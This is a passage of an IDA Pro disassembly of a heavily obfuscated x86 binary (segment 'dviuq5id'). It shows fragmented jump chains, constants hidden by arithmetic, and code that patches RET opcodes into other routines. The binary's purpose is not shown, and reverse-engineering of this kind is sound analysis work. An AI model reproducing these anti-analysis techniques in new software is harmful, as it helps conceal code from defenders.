; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440D7A	proc near		; CODE XREF: dviuq5id:0043D364p

; FUNCTION CHUNK AT 0045758A SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_45758A
sub_440D7A	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_440D83:				; CODE XREF: dviuq5id:004595D5j
		jmp	loc_44D36B
; ---------------------------------------------------------------------------
dword_440D88	dd 46B3D772h		; DATA XREF: sub_443ECE:loc_43EF7Cr
					; sub_443ECE+6r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB39

loc_440D8C:				; CODE XREF: sub_44CB39-CDF4j
		jmp	loc_4589BD
; END OF FUNCTION CHUNK	FOR sub_44CB39

; =============== S U B	R O U T	I N E =======================================



sub_440D91	proc near		; CODE XREF: sub_410661+22p
					; sub_41960F+29p ...
		call	sub_440DA1
		jmp	ds:off_41D054
sub_440D91	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_440D9C:				; CODE XREF: sub_454267-194CFj
		jmp	loc_43AA79
; END OF FUNCTION CHUNK	FOR sub_454267

; =============== S U B	R O U T	I N E =======================================



sub_440DA1	proc near		; CODE XREF: dviuq5id:004397B7j
					; sub_440D91p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044115A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044353C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004438C8 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0044E299 SIZE 00000005 BYTES

		jnz	loc_4438EB
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		jmp	loc_4438C8
sub_440DA1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A133

loc_440DB1:				; CODE XREF: sub_44A133:loc_4443D2j
		xchg	edx, [ecx]
		mov	[eax], esi
		jmp	loc_43F317
; END OF FUNCTION CHUNK	FOR sub_44A133
; ---------------------------------------------------------------------------

loc_440DBA:				; CODE XREF: dviuq5id:0044FCF2j
		or	ebp, 2CCE177Dh
		or	ebx, 3BF730C9h
		not	esi

loc_440DC8:				; CODE XREF: dviuq5id:0044FCEBj
		sub	eax, 4B646854h
		xor	eax, 64D1D7ADh
		call	sub_43C9FD
; START	OF FUNCTION CHUNK FOR sub_44952D

loc_440DD9:				; CODE XREF: sub_44952D-8E49j
		jmp	loc_44660B
; END OF FUNCTION CHUNK	FOR sub_44952D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450905

loc_440DDE:				; CODE XREF: sub_450905-177FFj
		jmp	loc_45318A
; END OF FUNCTION CHUNK	FOR sub_450905
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_223. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_440DE4:				; CODE XREF: sub_459804:loc_43D312j
		jmp	loc_44A867
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F2CB

loc_440DE9:				; CODE XREF: sub_43F2CB:loc_4549F3j
		xor	edi, 21D7B1Ah
		xor	eax, edi
		pop	edi
		sub	eax, 0E1161962h
		xor	eax, 3FC0D22Bh
		rol	eax, 8
		jmp	loc_44A77A
; END OF FUNCTION CHUNK	FOR sub_43F2CB
; ---------------------------------------------------------------------------
		mov	ds:off_41D094, eax
		lea	eax, loc_444069
		mov	byte ptr [eax],	0C3h
		jmp	loc_44ECD3

; =============== S U B	R O U T	I N E =======================================



sub_440E1A	proc near		; CODE XREF: sub_40207A+B3p
					; sub_440E1A:loc_456266j
					; DATA XREF: ...

; FUNCTION CHUNK AT 00456266 SIZE 00000006 BYTES

		call	sub_456276
		jmp	loc_456266
sub_440E1A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F83A

loc_440E24:				; CODE XREF: sub_43F83A:loc_458354j
		mov	eax, [esp+4+var_4]
		push	edx
		nop
		push	0E1532F9Ch
		pop	eax
		or	eax, 5288B1B4h
		jmp	loc_4571A2
; END OF FUNCTION CHUNK	FOR sub_43F83A
; ---------------------------------------------------------------------------
		pop	ebp
		jmp	loc_4433A9
; ---------------------------------------------------------------------------

loc_440E40:				; DATA XREF: sub_43D7C1+6o
		xchg	eax, [esp]
		push	esi
		push	282B82ADh
		pop	esi
		jmp	loc_45A389
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446465

loc_440E4F:				; CODE XREF: sub_446465:loc_454480j
		jge	loc_452EBB
; END OF FUNCTION CHUNK	FOR sub_446465
; START	OF FUNCTION CHUNK FOR sub_441B17

loc_440E55:				; CODE XREF: sub_441B17+11808j
		jmp	nullsub_171
; END OF FUNCTION CHUNK	FOR sub_441B17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_440E5A:				; CODE XREF: sub_43FA59+DE5Bj
		jmp	loc_4390A8
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
		mov	ebp, 0CD1E18B6h
; START	OF FUNCTION CHUNK FOR sub_454228

loc_440E64:				; CODE XREF: sub_454228-16EE9j
		sbb	esi, eax
		sub	esi, ebx
		jmp	loc_452EB8
; END OF FUNCTION CHUNK	FOR sub_454228
; ---------------------------------------------------------------------------

loc_440E6D:				; CODE XREF: dviuq5id:00457744j
		or	esi, 0EDD14BC1h
		rol	esi, 0Fh
		add	esi, 0F1261A7Ah
		popf
		add	eax, esi
		pop	esi
		xor	eax, 805B433Eh
		jmp	loc_43E719
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450F99

loc_440E8B:				; CODE XREF: sub_450F99+Dj
		lea	eax, loc_45A3CD
		mov	byte ptr [eax],	0C3h
		jmp	loc_44819F
; END OF FUNCTION CHUNK	FOR sub_450F99

; =============== S U B	R O U T	I N E =======================================



sub_440E99	proc near		; CODE XREF: sub_4147FC+8p
					; dviuq5id:00444063j
					; DATA XREF: ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C80D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004425CE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444069 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00444379 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044555C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445C21 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00445FA8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00446C06 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0044A2C2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DD33 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004530BA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A0E3 SIZE 00000005 BYTES

		push	edx
		push	0B58FA3B7h
		pop	edx
		and	edx, 8B1DC254h
		xor	edx, 0BE9216D4h
		jmp	loc_4530BA
sub_440E99	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452A73

loc_440EB1:				; CODE XREF: sub_452A73:loc_452F34j
					; sub_452A73+4CEj
		add	ecx, 0CDC083CEh
		xchg	ecx, [esp+0]
		jmp	sub_456F43
; END OF FUNCTION CHUNK	FOR sub_452A73
; ---------------------------------------------------------------------------

loc_440EBF:				; CODE XREF: dviuq5id:0043D242j
		mov	esi, eax

; =============== S U B	R O U T	I N E =======================================



sub_440EC1	proc near		; CODE XREF: sub_43AE68:loc_44BF83p

; FUNCTION CHUNK AT 004590B2 SIZE 0000000B BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, ds:dword_439250
		or	eax, eax
		jnz	loc_44654D
		jmp	loc_4590B2
sub_440EC1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pushf
		jmp	sub_439FA1
; ---------------------------------------------------------------------------

loc_440EDE:				; DATA XREF: sub_459385:loc_43A92Fo
		or	eax, eax
		jnz	loc_43B46E
		jmp	loc_4406C8
; ---------------------------------------------------------------------------

loc_440EEB:				; CODE XREF: dviuq5id:00443CEFj
		push	0F091CA02h
		pop	eax
		rol	eax, 0Dh
		xor	eax, 0CC21042Fh
		test	eax, 80h
		jmp	loc_441C18
; ---------------------------------------------------------------------------

loc_440F05:				; DATA XREF: sub_43BE30+1AFC7o
		mov	eax, [ebp-1Ch]
		mov	eax, ds:dword_446E14[eax*4]
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jmp	loc_4587BD

; =============== S U B	R O U T	I N E =======================================



sub_440F1B	proc near		; CODE XREF: dviuq5id:0043FD67j
					; sub_440223+Fp

; FUNCTION CHUNK AT 004531D7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004591A0 SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	eax
		call	sub_43BAC4
		jmp	loc_4531D7
sub_440F1B	endp

; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 0Eh
		mov	ds:dword_43F078, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440E9

loc_440F35:				; CODE XREF: sub_4440E9-9C5Aj
		jmp	loc_447EC2
; END OF FUNCTION CHUNK	FOR sub_4440E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4538B3

loc_440F3A:				; CODE XREF: dviuq5id:004452CDj
					; dviuq5id:0044E4F7j ...
		rol	eax, 0Eh
		push	ecx
		jmp	loc_457669
; END OF FUNCTION CHUNK	FOR sub_4538B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448B3E

loc_440F43:				; CODE XREF: sub_448B3E:loc_448C4Cj
		shr	edx, 3
		call	sub_44C50A

loc_440F4B:				; CODE XREF: sub_445498+13C74j
		jmp	loc_442C0C
; END OF FUNCTION CHUNK	FOR sub_448B3E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_292. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_440F51:				; CODE XREF: dviuq5id:00458C7Fj
		jmp	locret_451413
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EC31

loc_440F56:				; CODE XREF: sub_44EC31+13j
		jmp	loc_43C23F
; END OF FUNCTION CHUNK	FOR sub_44EC31
; ---------------------------------------------------------------------------

loc_440F5B:				; CODE XREF: dviuq5id:004408C7j
		jmp	loc_44FCDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45844D

loc_440F60:				; CODE XREF: sub_45844D-18FD9j
					; dviuq5id:loc_449323j
		mov	eax, ds:dword_44DE84
		mov	al, [eax]
		sub	al, 99h
		mov	edx, ds:dword_44DE84
		imul	byte ptr [edx]
		jmp	loc_450A61
; END OF FUNCTION CHUNK	FOR sub_45844D

; =============== S U B	R O U T	I N E =======================================



sub_440F76	proc near		; DATA XREF: sub_44D9D7-EB10o

; FUNCTION CHUNK AT 0044C4DD SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		jmp	loc_44C4DD
sub_440F76	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44010B

loc_440F7E:				; CODE XREF: sub_44010B:loc_4556C4j
		or	esi, 60B3D3F5h
		add	esi, 383DEA31h
		sub	esi, 0B6508DB5h
		add	esi, 1DA2EDA4h
		xchg	esi, [esp+4+var_4]
		jmp	loc_440C9E
; END OF FUNCTION CHUNK	FOR sub_44010B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E67F

loc_440F9E:				; CODE XREF: sub_44E67F:loc_448A1Dj
		pop	edi
		rol	eax, 16h
		xor	eax, 21791698h
		jmp	loc_452FBA
; END OF FUNCTION CHUNK	FOR sub_44E67F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456253

loc_440FAD:				; CODE XREF: sub_456253j
		mov	eax, ds:dword_441C14
		or	eax, eax
		jnz	loc_446633
		jmp	loc_43CCF6
; END OF FUNCTION CHUNK	FOR sub_456253
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_440FC0:				; CODE XREF: sub_441DDA+2017j
		shr	edi, 0Dh
		sbb	ebx, ecx
		not	eax
		test	edi, edx
		jmp	loc_43F78B
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------

loc_440FCE:				; CODE XREF: dviuq5id:00457617j
		jbe	loc_447ED2
		not	edx
; START	OF FUNCTION CHUNK FOR sub_43DD79

loc_440FD6:				; CODE XREF: sub_43DD79:loc_448901j
		rol	edx, 10h
		or	edx, 0BCB1355Fh
		sub	edx, 0EE5E7D9Fh
		push	offset loc_455ABC
		jmp	loc_454A98
; END OF FUNCTION CHUNK	FOR sub_43DD79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445498

loc_440FEF:				; CODE XREF: sub_445498:loc_4556BFj
		mov	[edx], eax
		pop	edx
		cmp	dword ptr [ebp-10h], 0
		jz	loc_44F467
		jmp	loc_44259F
; END OF FUNCTION CHUNK	FOR sub_445498

; =============== S U B	R O U T	I N E =======================================



sub_441001	proc near		; DATA XREF: dviuq5id:00445AB5o

; FUNCTION CHUNK AT 00439C04 SIZE 00000005 BYTES

		call	sub_453642
		mov	ds:dword_41D1B4, eax
		push	offset sub_445881
		jmp	loc_439C04
sub_441001	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_441016	proc near		; CODE XREF: sub_441525+1290Ej
		retn
sub_441016	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D53C

loc_441017:				; CODE XREF: sub_43D53C+EBB9j
		jmp	loc_447856
; END OF FUNCTION CHUNK	FOR sub_43D53C
; ---------------------------------------------------------------------------

loc_44101C:				; CODE XREF: dviuq5id:0043E057j
		cmp	ebx, 6047DA34h
		jmp	loc_454DE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ECF4

loc_441027:				; CODE XREF: sub_43ECF4:loc_45268Cj
		xchg	eax, [esi]
		push	ebp
		add	ecx, ebx
		jmp	loc_4541A7
; END OF FUNCTION CHUNK	FOR sub_43ECF4
; ---------------------------------------------------------------------------

loc_441031:				; CODE XREF: dviuq5id:00453CD1j
		cmp	edi, 0A77FEE86h
		jmp	loc_445F55
; ---------------------------------------------------------------------------

loc_44103C:				; CODE XREF: dviuq5id:0044539Cj
		jnp	loc_4491AE
		rol	ecx, 3
		sbb	ebx, 783C6BA2h
		cmp	esi, ebx
		jmp	loc_455360
; ---------------------------------------------------------------------------

loc_441052:				; CODE XREF: dviuq5id:0043BC16j
		cmp	eax, edx
		jmp	loc_449D45
; ---------------------------------------------------------------------------

loc_441059:				; DATA XREF: sub_43A739+15C78o
		push	0D5CD0657h
		pop	ebx
		xor	ebx, 4EE83F0h
		and	ebx, 0FE71F0B7h
		jmp	loc_4493A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_441070:				; CODE XREF: sub_44B624-DD43j
		jo	loc_445873
		sbb	edi, 238F6729h
		rol	ecx, 0Ah
		jmp	loc_457871
; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------

loc_441084:				; CODE XREF: dviuq5id:0044A1E6j
		jnz	loc_44480E
		jmp	loc_455217

; =============== S U B	R O U T	I N E =======================================



sub_44108F	proc near		; CODE XREF: dviuq5id:0044272Cj
					; dviuq5id:loc_459D65p

; FUNCTION CHUNK AT 00459659 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		lea	eax, nullsub_477
		mov	byte ptr [eax],	0C3h
		jmp	loc_459659
sub_44108F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4410A1	proc near		; CODE XREF: sub_405E33+47p
					; sub_4410A1:loc_44D424j
					; DATA XREF: ...

; FUNCTION CHUNK AT 0044D424 SIZE 00000006 BYTES

		call	sub_44D42F
		jmp	loc_44D424
sub_4410A1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_4410AB:				; CODE XREF: sub_454267:loc_43FDA2j
		shr	ecx, 1Eh
; END OF FUNCTION CHUNK	FOR sub_454267
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_4410AE:				; CODE XREF: sub_441DDA:loc_451717j
		add	ecx, 0B58598A5h
		jmp	loc_43F1F9
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_4410B9:				; CODE XREF: sub_4427AE+233j
		jo	loc_44EC71
		pushf
		and	eax, ebx

loc_4410C2:				; CODE XREF: sub_4427AE:loc_4429CFj
		add	esi, 4C6A089Ah
		xor	esi, 0A9B7B91Eh
		sub	eax, esi
		jmp	loc_45716B
; END OF FUNCTION CHUNK	FOR sub_4427AE

; =============== S U B	R O U T	I N E =======================================



sub_4410D5	proc near		; DATA XREF: sub_459224-1A76o
		mov	[edx], eax
		pop	edx
		lea	eax, sub_445498
		mov	byte ptr [eax],	0C3h
		jmp	sub_445498
sub_4410D5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	nullsub_4
		jmp	ds:dword_41D104
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_4410F1:				; CODE XREF: sub_43FDFB+96CBj
		jmp	$+5
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 88h
		dd 0FFFF97F4h, 3F5FE95Ah
		db 1, 0
; ---------------------------------------------------------------------------

locret_441102:				; CODE XREF: dviuq5id:0043B30Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_441103:				; CODE XREF: sub_4492F0:loc_444228j
					; sub_453749-66C2j
		jmp	loc_44258D
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
		and	ebp, 0AD20E6DDh
		jmp	loc_44875B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_446. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451BB7

loc_441114:				; CODE XREF: sub_451BB7-5E95j
		jmp	nullsub_140
; END OF FUNCTION CHUNK	FOR sub_451BB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_441119:				; CODE XREF: sub_43EB11+1Bj
		jmp	loc_45476C
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
		push	8B0D5F6Dh
		pop	eax
		add	eax, 2BDB9FF5h
		and	eax, 0D31D2B49h
		or	eax, 0A8CC8B0Dh
		jmp	loc_44B644
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_214. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44113C:				; CODE XREF: dviuq5id:loc_44A06Bj
		xor	eax, 1616849h
		rol	eax, 7
		or	eax, 211E6267h
		call	sub_43A3E0
; START	OF FUNCTION CHUNK FOR sub_43C710

loc_441150:				; CODE XREF: sub_43C710+1046Cj
		jmp	loc_440695
; END OF FUNCTION CHUNK	FOR sub_43C710
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D53C

loc_441155:				; CODE XREF: sub_43D53C+A31Dj
		jmp	sub_43D53C
; END OF FUNCTION CHUNK	FOR sub_43D53C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440DA1

loc_44115A:				; CODE XREF: sub_440DA1:loc_44E299j
		push	eax
		mov	eax, edx
		xchg	eax, [esp+4+var_4]
		push	ebx
		push	0CE779B93h
		pop	ebx
		jmp	loc_44353C
; END OF FUNCTION CHUNK	FOR sub_440DA1
; ---------------------------------------------------------------------------

loc_44116C:				; CODE XREF: dviuq5id:0045034Aj
		jz	loc_44D3C7
		jmp	loc_44BB3D
; ---------------------------------------------------------------------------

loc_441177:				; CODE XREF: dviuq5id:0043A259j
		jno	loc_43F7E4
		or	edx, ebx

; =============== S U B	R O U T	I N E =======================================



sub_44117F	proc near		; CODE XREF: sub_44646F:loc_44E907p

; FUNCTION CHUNK AT 004519DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454C59 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00457F79 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebp-4]
		jmp	loc_4519DC
sub_44117F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44118B	proc near		; DATA XREF: sub_43E615+17o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00443719 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D7EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456D4E SIZE 00000014 BYTES

		xor	edi, 63ACC2E5h
		xor	eax, edi
		xchg	edx, [esp+0]
		mov	edi, edx
		pop	edx
		jmp	loc_456D4E
sub_44118B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44119E	proc near		; DATA XREF: sub_44084F+A478o

; FUNCTION CHUNK AT 0043C674 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444B68 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D7E1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004512CC SIZE 00000005 BYTES

		add	eax, ebp
		add	eax, 0E2EB3738h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44D7E1
		jmp	loc_4512CC
sub_44119E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4411B6	proc near		; DATA XREF: sub_447A8A-318Eo
		pop	ebp
		retn
sub_4411B6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4411B8	proc near		; CODE XREF: sub_445498:loc_43BEDFp
					; sub_459D7E:loc_441C30j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043F4EB SIZE 0000000D BYTES

		push	ebp
		mov	ebp, esp
		push	eax

loc_4411BC:				; CODE XREF: sub_43FDFB:loc_441639j
		push	ecx
		pop	eax
		xchg	eax, [esp+0]
		jmp	loc_43F4EB
sub_4411B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4411C6	proc near		; CODE XREF: sub_44957C+7p
					; sub_45553D+10p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00439D00 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043A017 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043A2FD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043C8B3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004494F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C1E4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044F98C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00450262 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00450D2E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004517B1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045633D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00459DE4 SIZE 00000022 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		jmp	loc_44F98C
sub_4411C6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E87

loc_4411D7:				; CODE XREF: sub_439E87-45Fj
		jge	loc_459D46
		sub	eax, edx
		jmp	loc_4593AE
; END OF FUNCTION CHUNK	FOR sub_439E87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D45B

loc_4411E4:				; CODE XREF: sub_44D45B:loc_456D68j
		pop	ebx
		push	0D8910E4Fh
		pop	eax
		or	eax, 0C2B36E32h
		add	eax, 25920EADh
		jmp	loc_43A98D
; END OF FUNCTION CHUNK	FOR sub_44D45B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_4411FC:				; CODE XREF: sub_44B624:loc_450D12j
		jz	loc_44C69B
		jmp	loc_447F95
; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4483A4

loc_441207:				; CODE XREF: sub_4483A4:loc_45491Ej
					; sub_43C9A9+17F91j
		or	esi, 3DC92D66h
		add	esi, 8078E39Ch
		popf
		xchg	esi, [esp+0]
		jmp	sub_44C6ED
; END OF FUNCTION CHUNK	FOR sub_4483A4
; ---------------------------------------------------------------------------
		test	ecx, ebp
		jmp	loc_446590
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4420DF

loc_441223:				; CODE XREF: sub_4420DF+Dj
		jnz	loc_4580E0
		jmp	loc_43A27D
; END OF FUNCTION CHUNK	FOR sub_4420DF

; =============== S U B	R O U T	I N E =======================================



sub_44122E	proc near		; CODE XREF: dviuq5id:0043C214p
					; dviuq5id:00454CB8j

; FUNCTION CHUNK AT 0044E143 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00452339 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0045451D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004556EB SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	edx, 19182B14h
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_455BC0
		jmp	loc_44E143
sub_44122E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_441249:				; CODE XREF: dviuq5id:004436D8j
		jbe	loc_4520E2

; =============== S U B	R O U T	I N E =======================================



sub_44124F	proc near		; CODE XREF: sub_4396BB:loc_4417C2p

; FUNCTION CHUNK AT 0043F553 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044401A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004581BA SIZE 0000000A BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	edi
		call	sub_45082A

loc_441259:				; CODE XREF: sub_44C20F+1BB3j
		jmp	loc_43F553
sub_44124F	endp

; ---------------------------------------------------------------------------

loc_44125E:				; CODE XREF: dviuq5id:004478BFj
					; dviuq5id:loc_44FB46j
		mov	eax, [ebp-4]
		xor	edx, edx
		div	dword ptr [ebp-8]
		mov	[ebp-0Ch], edx

loc_441269:				; CODE XREF: dviuq5id:loc_44F046j
		push	18175CA2h
		jmp	loc_4558FF
; ---------------------------------------------------------------------------

loc_441273:				; CODE XREF: dviuq5id:0045349Fj
		mov	edi, eax
		popf
; START	OF FUNCTION CHUNK FOR sub_44B301

loc_441276:				; CODE XREF: sub_44B301:loc_453491j
		and	edx, 0F89DDEFAh
		xor	edx, 7D95A5CEh
		jmp	loc_441EB5
; END OF FUNCTION CHUNK	FOR sub_44B301
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454117

loc_441288:				; CODE XREF: sub_454117-2C0j
		jmp	loc_44B466
; END OF FUNCTION CHUNK	FOR sub_454117
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_520. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445707

loc_44128E:				; CODE XREF: sub_445707+9j
		jmp	loc_44CF6B
; END OF FUNCTION CHUNK	FOR sub_445707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_441293:				; CODE XREF: sub_43FDFB:loc_43FB09j
		jmp	loc_448494
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440BB8

loc_441298:				; CODE XREF: sub_440BB8+EC8Bj
		sub	edx, 242BC0FCh
		and	edx, 27E14E38h
		or	edx, 0B4E48A60h
		add	edx, 4B5EEB9Ch
		jmp	loc_44361F
; END OF FUNCTION CHUNK	FOR sub_440BB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_4412B5:				; CODE XREF: sub_44B624:loc_449305j
					; sub_44B624-2306j
		xor	eax, 2A1FBF71h
		add	eax, ebp
		add	eax, 24979EAEh
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_441968
		jmp	loc_4521FE
; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450A73

loc_4412D3:				; CODE XREF: sub_450A73:loc_451F19j
		pop	eax
		cmp	dword ptr [eax], 0
		jnz	loc_44EFAF
		jmp	sub_450A73
; ---------------------------------------------------------------------------

loc_4412E2:				; CODE XREF: sub_450A73:loc_44EFAFj
		push	eax
		push	0
		call	sub_44E2FA
		pop	eax
		cmp	dword ptr [eax], 0
		jmp	loc_4418FE
; END OF FUNCTION CHUNK	FOR sub_450A73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AEAA

loc_4412F3:				; CODE XREF: sub_43AEAA:loc_43A7D6j
		xor	esi, 89888B98h
